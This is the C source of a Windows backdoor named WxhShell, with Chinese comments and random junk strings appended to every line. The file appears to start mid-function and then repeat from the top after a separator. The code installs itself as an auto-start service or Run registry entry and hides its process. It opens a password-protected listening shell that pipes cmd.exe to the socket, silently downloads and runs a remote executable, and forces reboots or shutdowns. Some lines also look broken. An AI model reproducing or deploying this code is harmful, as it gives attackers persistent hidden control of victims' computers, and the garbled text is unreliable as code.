    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AU2Nmf?]%  
    if(Boot(SHUTDOWN)) v4^VYi,.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0\A[a4crj  
    else { s5@^g8(+C  
    closesocket(wsh); W;W\L? r  
    ExitThread(0); !;oBvE7Kh  
    } 7c7SU^hD  
    break; ?y kIi/  
    } }wKU=Vm  
  // 获取shell g5`YUr+3?h  
  case 's': { WOoVVjMM  
    CmdShell(wsh); #,C{?0!  
    closesocket(wsh); 0KEl+  
    ExitThread(0); fN;y\!q5  
    break; @wz7jzMi  
  } \!Pm^FD .  
  // 退出 yR-.OF,c  
  case 'x': { I(|{/{P,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (>'d`^kjk  
    CloseIt(wsh); 6zSN?0c  
    break; .v'8G)6g  
    } PeZ=ONY5  
  // 离开 >d |W>|8e  
  case 'q': { K+H82$ #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `. Z".  
    closesocket(wsh); U6"50G~u  
    WSACleanup(); _1QNO#X  
    exit(1); >FO=ioNY  
    break; ygG9ht  
        } ektFk"W3A\  
  } r\?*?sL  
  } EhoR.  
+`xp+Q  
  // 提示信息 DzMkeX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zf! 7pM  
} H>?@nYP  
  } 5sRNqTIr  
?/D#ql7  
  return; ,KWeW^z'7  
} e %#f9i  
Rp1OC  
// shell模块句柄 _GS2&|7`  
int CmdShell(SOCKET sock) H.e@w3+h  
{ 1k`!w}  
STARTUPINFO si; ?*HlAVDcFT  
ZeroMemory(&si,sizeof(si)); Oi RqqD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BL7%MvDQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vj1AW<  
PROCESS_INFORMATION ProcessInfo; ?0F#\0  
char cmdline[]="cmd"; C" {j0X`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u]"R AH  
  return 0; n=~?BxB  
} l"64w>,  
#i? TCO  
// 自身启动模式 snrfHDhUw  
int StartFromService(void) 1'iRx,  
{ G(L*8U< UG  
typedef struct Al?XJ C B@  
{ ZWv$K0agu  
  DWORD ExitStatus; 1=>$c   
  DWORD PebBaseAddress; 5 m:nh<)#  
  DWORD AffinityMask; ?hO*~w;UU|  
  DWORD BasePriority; E^s>S,U[y  
  ULONG UniqueProcessId; b /)UN*~  
  ULONG InheritedFromUniqueProcessId; Pj$a$C`Z  
}   PROCESS_BASIC_INFORMATION; =0A{z#6  
M&L"yQA  
PROCNTQSIP NtQueryInformationProcess; ]pb3 Fm{  
mdwY48b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '5IJ;4k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "o`( kYSF  
YV9%^ZaN7  
  HANDLE             hProcess; }v?{npEOt+  
  PROCESS_BASIC_INFORMATION pbi; h6#  
c?|/c9f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @<P [z[  
  if(NULL == hInst ) return 0; jWQB~XQY  
x&sF_<[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  /YHeO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j_Fr3BWS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XHV+Y+VG  
1BF+sT3  
  if (!NtQueryInformationProcess) return 0; 0kDT:3  
S5;q)qz2J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); db`<E <  
  if(!hProcess) return 0; K_xn>  
CZ @M~Si_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oR~+s &c  
jRGG5w}  
  CloseHandle(hProcess); 0\/7[nwS  
/H)l\m +  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |KA8qQI]%  
if(hProcess==NULL) return 0; .! &YO/  
i''dY!2  
HMODULE hMod; 0]T ;{  
char procName[255]; 8<P.>u  
unsigned long cbNeeded; 3B,nHU  
L\"$R":3{d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .UJk0%1  
"5@Y\L  
  CloseHandle(hProcess); cq/)Yff@:  
v<O\ l~S  
if(strstr(procName,"services")) return 1; // 以服务启动 <ioX|.7ZX  
&#WTXTr0=  
  return 0; // 注册表启动 y jb.6  
} d;f,vN(  
0FXM4YcrJO  
// 主模块 bw@tA7Y  
int StartWxhshell(LPSTR lpCmdLine) *H;&hq  
{ SN11J+  
  SOCKET wsl; lcih [M6z  
BOOL val=TRUE;  /8.;  
  int port=0; Kl^Yq  
  struct sockaddr_in door; m^`X|xK-  
b*,R9  
  if(wscfg.ws_autoins) Install(); 3>;U||O  
luV%_[F  
port=atoi(lpCmdLine); h~dM*yo;  
L%fWa2P'  
if(port<=0) port=wscfg.ws_port; -i 9/1.Z  
BWd?a6nU}  
  WSADATA data; &98qAO]Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5e/%Tue.  
l.C {Ar  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L&l> ?"_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i`E]gJ$  
  door.sin_family = AF_INET; \2 W( >_z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rBpr1XKl,  
  door.sin_port = htons(port); )Y)7p//  
^c+6?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fE7Kv_N-%  
closesocket(wsl); Rd2*  
return 1; 1V)0+_Yv  
}  =#8J9  
S&|$F2M  
  if(listen(wsl,2) == INVALID_SOCKET) { %R(j|a9z  
closesocket(wsl); >GqIpfn  
return 1; wp$SO^?-  
} LM0 TSB?  
  Wxhshell(wsl); ucTkWqG  
  WSACleanup(); -6#i~a]  
=PXNg!B}D*  
return 0; N$pO] p  
9n$$D;  
} I4u'b?* je  
i;yz%Ug  
// 以NT服务方式启动 -^C;WFh8)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #[J..i/h  
{ AX[/S8|6  
DWORD   status = 0; vVE^Y  
  DWORD   specificError = 0xfffffff; ;0 @"1`  
7v1}8Uk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }**^ g:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l@## Ex9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ""TRLs!:M  
  serviceStatus.dwWin32ExitCode     = 0; ^fH]Rlx  
  serviceStatus.dwServiceSpecificExitCode = 0; ]kc]YO7i%R  
  serviceStatus.dwCheckPoint       = 0; P%.9g  
  serviceStatus.dwWaitHint       = 0; z.#gpTXD  
D4_D{\xhO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &AA u:  
  if (hServiceStatusHandle==0) return; "x&H*"  
s|d L.@0,L  
status = GetLastError(); i9w xP i  
  if (status!=NO_ERROR) L[<MBgF Kv  
{ SrU,-mA W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OpYq qBf_  
    serviceStatus.dwCheckPoint       = 0; dDAdZxd  
    serviceStatus.dwWaitHint       = 0; 61CNEzQ  
    serviceStatus.dwWin32ExitCode     = status; 0s= GM|y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xo }w$q5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ,8@@r7  
    return; <#sB ;  
  } RDk{;VED{  
2qw~hWX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e(j"u;=  
  serviceStatus.dwCheckPoint       = 0; iQS?LksQX  
  serviceStatus.dwWaitHint       = 0; h (jg7R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dc"Vc 3)  
} HA"LU;5>2J  
vBq 2JJAl  
// 处理NT服务事件,比如:启动、停止 P6;L\9=H<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) luAhyEp  
{ +n1}({7m  
switch(fdwControl) 1,BtOzuRo  
{ QZ%_hvY[%>  
case SERVICE_CONTROL_STOP: 5h1FvJg  
  serviceStatus.dwWin32ExitCode = 0; o{m$b2BW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2i8'*L+j  
  serviceStatus.dwCheckPoint   = 0; Eo)n( Z9  
  serviceStatus.dwWaitHint     = 0; m &c8@-T  
  { ;\( wJ{u?Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Ui8Sgeei  
  } v:<u0B-)$  
  return; j =[Td   
case SERVICE_CONTROL_PAUSE: g7#_a6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v&p\ r'w  
  break; $:F]O$A  
case SERVICE_CONTROL_CONTINUE: *m2J$9q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N!^U{;X7/  
  break; TC" mP!1  
case SERVICE_CONTROL_INTERROGATE: ?5"~V^L3  
  break; F6YMcdU  
}; w9l)=[s=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?zKDPBj  
} *}cF]8c5W  
MZ6?s(mkx  
// 标准应用程序主函数 '9H]S Ew  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MX6;ww  
{ `fc2vaSH =  
O>)8< yi$  
// 获取操作系统版本 &nTB^MF  
OsIsNt=GetOsVer(); *_3+ DF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /k(0}g=\  
:1=mNrg  
  // 从命令行安装 Jc:*X4-'  
  if(strpbrk(lpCmdLine,"iI")) Install(); jja9:$#  
=)(sN"%  
  // 下载执行文件 og!Uq]U/y  
if(wscfg.ws_downexe) { \"5%w *vl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _D[vMr[  
  WinExec(wscfg.ws_filenam,SW_HIDE); {BDp`uZ  
} #2{ };)  
``K.4sG  
if(!OsIsNt) { -E?h^J&U  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z Oyq{w!2  
HideProc(); "{ AS5jw  
StartWxhshell(lpCmdLine); &3'II:x(  
} B7_:,R.l  
else )$i7b  
  if(StartFromService()) UACWs3`s+  
  // 以服务方式启动 /|P&{!  
  StartServiceCtrlDispatcher(DispatchTable); -@<k)hWr  
else 0:Ak 4L6k  
  // 普通方式启动 f LxFF  
  StartWxhshell(lpCmdLine); 7-Fh!=\f/  
iVREkZ2SC  
return 0; /DJyNf*  
} N@)tU;U3O  
+^{yJp.H#  
; :a7rN"(  
e:6R+8s2  
=========================================== C$-IDBXK  
1j9.Q;9  
&iId<.SiJ  
CXb)k.L   
lpj$\WI=  
%koHTWT+  
" ` ` 6?;Y  
C$b$)uI;  
#include <stdio.h> hd8:|_  
#include <string.h> +}J2\!Jw  
#include <windows.h> w-"o?;)a  
#include <winsock2.h> OtrO"K  
#include <winsvc.h> {xMY2I++  
#include <urlmon.h> 1wi{lJaz  
w*f.Fu(su  
#pragma comment (lib, "Ws2_32.lib") $ GL$ iA  
#pragma comment (lib, "urlmon.lib") KaZ$!JfT  
3z!\Z[  
#define MAX_USER   100 // 最大客户端连接数 BJ@tU n  
#define BUF_SOCK   200 // sock buffer w`UB_h#Bl  
#define KEY_BUFF   255 // 输入 buffer Wx;:_F7'\  
Yq $(Ex  
#define REBOOT     0   // 重启 5NZob<<  
#define SHUTDOWN   1   // 关机 Wm7Dy7#l  
BI3Q~ADV  
#define DEF_PORT   5000 // 监听端口 MrXhVZ"d*  
L/_OgL]YdI  
#define REG_LEN     16   // 注册表键长度 Ir_K8 3VM  
#define SVC_LEN     80   // NT服务名长度 hmHm;l  
!dv  
// 从dll定义API CY <,p$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o>';-} E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0~<d<a -@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w q% 4'(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "nf.kj:>  
k z@@/DD/9  
// wxhshell配置信息 o2He}t2o  
struct WSCFG { E dhT;!  
  int ws_port;         // 监听端口 )ZEUD] X  
  char ws_passstr[REG_LEN]; // 口令 tT ~}lW)Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no f|cd_?|  
  char ws_regname[REG_LEN]; // 注册表键名 .|NF8Fj  
  char ws_svcname[REG_LEN]; // 服务名 -y1%c^36_J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $21+6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _O Tqm5_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &s>HiL>f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1l"A7 V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zC\ pd#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pE[ul  
c6:"5};_  
}; ?a+tL'D[  
&~29%Ns  
// default Wxhshell configuration *Sm$FMWQ  
struct WSCFG wscfg={DEF_PORT, FYFP 6ti  
    "xuhuanlingzhe", \H!E CTI  
    1, @V Bv}Jo  
    "Wxhshell", Qv,8tdx  
    "Wxhshell", #(mm6dj  
            "WxhShell Service", ZTfs&5  
    "Wrsky Windows CmdShell Service", D0Oh,Fe#M\  
    "Please Input Your Password: ", <(TTYf8lS  
  1,  (f,D$mX  
  "http://www.wrsky.com/wxhshell.exe", }eXzs_  
  "Wxhshell.exe" iov55jT~l@  
    }; c{Nk"gEfRA  
UN>!#Ji:$  
// 消息定义模块 oe}nrkmb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HeZ! "^w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?"]fGp6y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1a;Le8  
char *msg_ws_ext="\n\rExit."; lpQsmd#  
char *msg_ws_end="\n\rQuit."; *y9 iuJ}  
char *msg_ws_boot="\n\rReboot..."; @%q0fj8b  
char *msg_ws_poff="\n\rShutdown..."; *A':^vgk  
char *msg_ws_down="\n\rSave to "; h@7S hp  
Yv\.QrxPm  
char *msg_ws_err="\n\rErr!"; ?dP3tLR  
char *msg_ws_ok="\n\rOK!"; @C{IgV  
RUC V!L  
char ExeFile[MAX_PATH]; X[\b!<C  
int nUser = 0; ,'?%z>RZm  
HANDLE handles[MAX_USER]; oqH811  
int OsIsNt; n*(Vf'k  
p&ytUT na  
SERVICE_STATUS       serviceStatus; 2siUpmX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -Qgu 6Ty  
/PH+K24v~  
// 函数声明 ; {$9Sc $  
int Install(void); -(V]knIF  
int Uninstall(void); +QT(~<  
int DownloadFile(char *sURL, SOCKET wsh); 3YVG|Bc~_  
int Boot(int flag); n0q5|ES  
void HideProc(void); r e.chQ6  
int GetOsVer(void); j38>,9u,  
int Wxhshell(SOCKET wsl); uUu]JDdz  
void TalkWithClient(void *cs); -fFM-gt^t  
int CmdShell(SOCKET sock); o6,$;-?F_  
int StartFromService(void); jE|Ju:}&  
int StartWxhshell(LPSTR lpCmdLine); &;S.1tg  
t-*oVX3D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rK )aR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2j&-3W$^  
h$.y)v  
// 数据结构和表定义 KSU?Tg&JR  
SERVICE_TABLE_ENTRY DispatchTable[] = 6*9hAnH  
{ % \p:S)R  
{wscfg.ws_svcname, NTServiceMain}, ]CsF} wr'z  
{NULL, NULL} Z? u\  
}; =Bo(*%  
Cy-q9uTm  
// 自我安装 v*`$is+  
int Install(void) 8gwJ%"-K  
{  5 fY\0  
  char svExeFile[MAX_PATH]; ,6:ya8vB  
  HKEY key; n=!]!'h\:  
  strcpy(svExeFile,ExeFile); flDe*F^  
V1 T?T9m  
// 如果是win9x系统,修改注册表设为自启动 (1p[K-J)r  
if(!OsIsNt) { <;< _f U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >U.TkB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |3`Sd;^;  
  RegCloseKey(key); )/kkvI()l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +U_> Bo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0PO'9#  
  RegCloseKey(key); [u\E*8  
  return 0; rlTCVmE8[  
    } 1Y!" C  
  } gBfYm  
} &m2FEQLj  
else { }mQ7N&cC  
]ZKmf}A)1P  
// 如果是NT以上系统,安装为系统服务 ZRN*.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .|`J S?L[  
if (schSCManager!=0) d 1VNTB  
{ CnyCEIO-  
  SC_HANDLE schService = CreateService qD Z?iTHQq  
  ( :#W40rUb  
  schSCManager, xp-.,^q\w  
  wscfg.ws_svcname, nTxeV%  
  wscfg.ws_svcdisp,  *X- 6]C  
  SERVICE_ALL_ACCESS, 0Ou;MU*v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C%#=@HC  
  SERVICE_AUTO_START, 'lNy&  
  SERVICE_ERROR_NORMAL, 7.)e4  
  svExeFile, !dQG 5v  
  NULL, COPH)Bdq.  
  NULL, Y-\/Y*;cd  
  NULL, o&}!bq]  
  NULL, dx}) 1%  
  NULL B@g 0QgA  
  ); G;:n*_QXE  
  if (schService!=0) 1M+o7HO.mG  
  { /.{4 KW5  
  CloseServiceHandle(schService); 8sb<$M$c  
  CloseServiceHandle(schSCManager); #G2~#\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IGz92&y  
  strcat(svExeFile,wscfg.ws_svcname); ;v%Fw!b032  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HnU; N S3J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (3 xCW  
  RegCloseKey(key); ;mH O#  
  return 0; <>JN&#3?  
    } NFq&a i  
  } .y'iF>QQ\  
  CloseServiceHandle(schSCManager); 6\>S%S2:  
} 1|$V  
} [iVCorU  
iq'hel  
return 1; L -z37kG^  
} ?HwW~aO  
3db ,6R  
// 自我卸载 Sc03vfmo"N  
int Uninstall(void) }z{2~ 0,  
{ U6^x(2De  
  HKEY key; /RD@ [ 8  
Fm}#KE0  
if(!OsIsNt) { LV|ZZ.d h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { faQ}J%a  
  RegDeleteValue(key,wscfg.ws_regname); qgREkb0  
  RegCloseKey(key); Ibt~e4f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )yvI  {  
  RegDeleteValue(key,wscfg.ws_regname);  PI_MSiYQ  
  RegCloseKey(key); k L\;90  
  return 0; u!I Es  
  } sXHrCU  
} T"7Ue  
} Hl`S\  
else { tPu0r],`o  
sb"z=4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); So>P)d$8+  
if (schSCManager!=0) IvuKpX>*  
{ ny# ?^.1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }  IJ  
  if (schService!=0) CqW:m*c  
  { 7)&}riQ  
  if(DeleteService(schService)!=0) { _'pow&w~  
  CloseServiceHandle(schService); $="t7C9S  
  CloseServiceHandle(schSCManager); 2R9AYI  
  return 0; ~uqpF-.  
  } WAr;g?Q8  
  CloseServiceHandle(schService); t^eWFX  
  } "|P8L| @*  
  CloseServiceHandle(schSCManager); K@av32{  
} Ln6\Iis  
} G.v zz-yG  
P$LHsg]  
return 1; o,o,(sII  
} 9G njJ  
:)f/>-   
// 从指定url下载文件 8!8 yA  
int DownloadFile(char *sURL, SOCKET wsh) )1 ]P4  
{ 4n6EkTa  
  HRESULT hr; /ZC/yGdIS_  
char seps[]= "/"; (-k`|X"  
char *token; }:JE*D|  
char *file; A4 ;EtW+F  
char myURL[MAX_PATH]; ['9awgkr/  
char myFILE[MAX_PATH]; Py^ _::  
k?(x}IZdG  
strcpy(myURL,sURL); yCznRd}J  
  token=strtok(myURL,seps); 5=< y%VF  
  while(token!=NULL) @9-/p^n1  
  { h SGI  
    file=token; ]O%wZIp\P  
  token=strtok(NULL,seps); E=N44[`.G  
  } $P<T`3Jg  
dnRS$$9#  
GetCurrentDirectory(MAX_PATH,myFILE); 2R}9wDP  
strcat(myFILE, "\\"); -+1_ 1!  
strcat(myFILE, file); 7G,{BBB  
  send(wsh,myFILE,strlen(myFILE),0); m417=wf  
send(wsh,"...",3,0); b.=bgRV2{x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fh2$,$ 2  
  if(hr==S_OK) xd[GJ;xvs  
return 0; 21(8/F ~{  
else O>8|Lc  
return 1; ~W?F.  
bbGSh|u+P  
} luA k$Es  
[!^Q_O  
// 系统电源模块 8sMDe'  
int Boot(int flag) +7yirp~`K  
{ y2"PKBK\_  
  HANDLE hToken; 2|="!c8K  
  TOKEN_PRIVILEGES tkp; :exgdm;N  
c?@WNv  
  if(OsIsNt) { +rT%C&ze  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &yu3nA:7D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c eH8  
    tkp.PrivilegeCount = 1; Xz/5 Wis4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z^@.b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IZr~h9  
if(flag==REBOOT) { [VvTR#^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7d9kr?3(U  
  return 0; &G#LQl  
} 3Z,J &d`[  
else { +TA 'P$j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) px|y_.DB2x  
  return 0; PKDzIA~T  
} x#wkODLqi  
  } m8Wv46%  
  else { ~|W0+&):  
if(flag==REBOOT) { $!~R'N c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $f++n5I  
  return 0; V L^.7U  
} kzMul<>sl  
else { Yd} Jz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y}db<Cz X  
  return 0; 5|T[:m  
} RQaB _bg7  
} pKSn 3-A  
JnC$}amr  
return 1; /O,>s  
} ,'FH[2  
G9`;Z^<L  
// win9x进程隐藏模块 i5f8}`w  
void HideProc(void) $P=B66t ^  
{ + F{hFuHV  
D'{NEk@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4CUoXs'  
  if ( hKernel != NULL ) 2(SU# /,  
  { <>gX'te  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TH;kJ{[}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ny(`An  
    FreeLibrary(hKernel); ;$`5L"I5$  
  } ' 7lHWqN<  
QNH-b9u>8  
return; nRP|Qt7>  
} & XS2q0-x  
}6Ut7J]a|  
// 获取操作系统版本 Z&f@)j  
int GetOsVer(void) O9+Dd%_KS#  
{ h8nJt>h  
  OSVERSIONINFO winfo; *w H.]$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I:~KF/q  
  GetVersionEx(&winfo); goE \C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vb o| q[z  
  return 1; 3YKJN4  
  else xj6@85^  
  return 0; >GbCRN~  
} [uJfmrEH  
6MewQ{hi  
// 客户端句柄模块 fGeDygV^`  
int Wxhshell(SOCKET wsl) y4@zi"G  
{ E{LLxGAEZ  
  SOCKET wsh; oFO)28Btv  
  struct sockaddr_in client; r JvtE}x1  
  DWORD myID; OouIV3  
11'^JmKA  
  while(nUser<MAX_USER) J AQ y  
{ d8)ps,  
  int nSize=sizeof(client); p`dH4y]D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `Z#0kpXk_  
  if(wsh==INVALID_SOCKET) return 1; #9( 0.!v  
mJ_ 5Vt=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t zTnFV  
if(handles[nUser]==0) 2HNAB4 E  
  closesocket(wsh); >,Z[IAU.x5  
else 9\QeH'A  
  nUser++;  wZ(H[be  
  } (G>S`B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s6U$]9 `  
lQ8h-Tz  
  return 0; h_( #U)z_3  
} /?ZO-]q  
J]!&E~Y  
// 关闭 socket KT 4h3D`,  
void CloseIt(SOCKET wsh) 9wTN *y  
{ jkQ%b.a  
closesocket(wsh); y[D8rFw  
nUser--; f:\)oIW9Kk  
ExitThread(0);  46^9O 5J  
} >U~{WM$"Y  
?M/H{  
// 客户端请求句柄 |Ix{JP"Lk  
void TalkWithClient(void *cs) 3P.v#TEst  
{ bwC~  
&H4Y`xV^=  
  SOCKET wsh=(SOCKET)cs; Qm"&=<  
  char pwd[SVC_LEN]; hf JeVT-/v  
  char cmd[KEY_BUFF]; ?rJe"TOIy  
char chr[1]; 8 t)?$j$  
int i,j; @TQzF-%#7  
o]@Mg5(8Q  
  while (nUser < MAX_USER) { Q)IL]S  
I[l8@!0  
if(wscfg.ws_passstr) { CE|iu!-4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aPwUC:>`D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <hV%OrBz-  
  //ZeroMemory(pwd,KEY_BUFF); [ ,&O  
      i=0; Irc(5rD7   
  while(i<SVC_LEN) { ~pC\"LU`  
JK/gq}c  
  // 设置超时 9n#lDL O  
  fd_set FdRead; *QGyF`Go{  
  struct timeval TimeOut; HM]mOmL90N  
  FD_ZERO(&FdRead); RPB%6z$  
  FD_SET(wsh,&FdRead); t:O"t G  
  TimeOut.tv_sec=8; KLBX2H2^0  
  TimeOut.tv_usec=0; ( kKQs")  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^. p d'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +_T`tmQ  
lz [s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W{i s2s  
  pwd=chr[0]; }e K.\_t=  
  if(chr[0]==0xd || chr[0]==0xa) { +T/T\[  
  pwd=0; 1iJaj  
  break; &)$}Nk  
  } ?;YymD_  
  i++; tRCz[M&  
    } TPF5?  
@}<b42  
  // 如果是非法用户,关闭 socket S]x\Asj;w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `3e>JIl"0  
} !qe:M]C'l  
Wb%t6N?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?r'2GR2Sk4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bnfp_SM  
g}OZ!mKd  
while(1) { 1!=^mu8  
6b wzNY 7  
  ZeroMemory(cmd,KEY_BUFF); Bln($lOz  
v,d bto0  
      // 自动支持客户端 telnet标准   @OGHS}-\  
  j=0; N \t( rp  
  while(j<KEY_BUFF) { t) l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IZs NMY  
  cmd[j]=chr[0]; T^DJ/uhd  
  if(chr[0]==0xa || chr[0]==0xd) { m#,AD,s  
  cmd[j]=0; \|YIuzlO4  
  break; u Wxl\+_i  
  } =v{Vl5&>?  
  j++; ,<t)aZL,A;  
    } Tl!}Rw~Pg  
o JX4+uJ  
  // 下载文件 UGP,/[XI  
  if(strstr(cmd,"http://")) { aCF=Og  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g2%fla7r  
  if(DownloadFile(cmd,wsh)) KL\hV .6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d` X1cG  
  else !dV2:`|+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @#2KmM~I  
  } REGk2t.L  
  else { sXwa`_{  
F #)@ c  
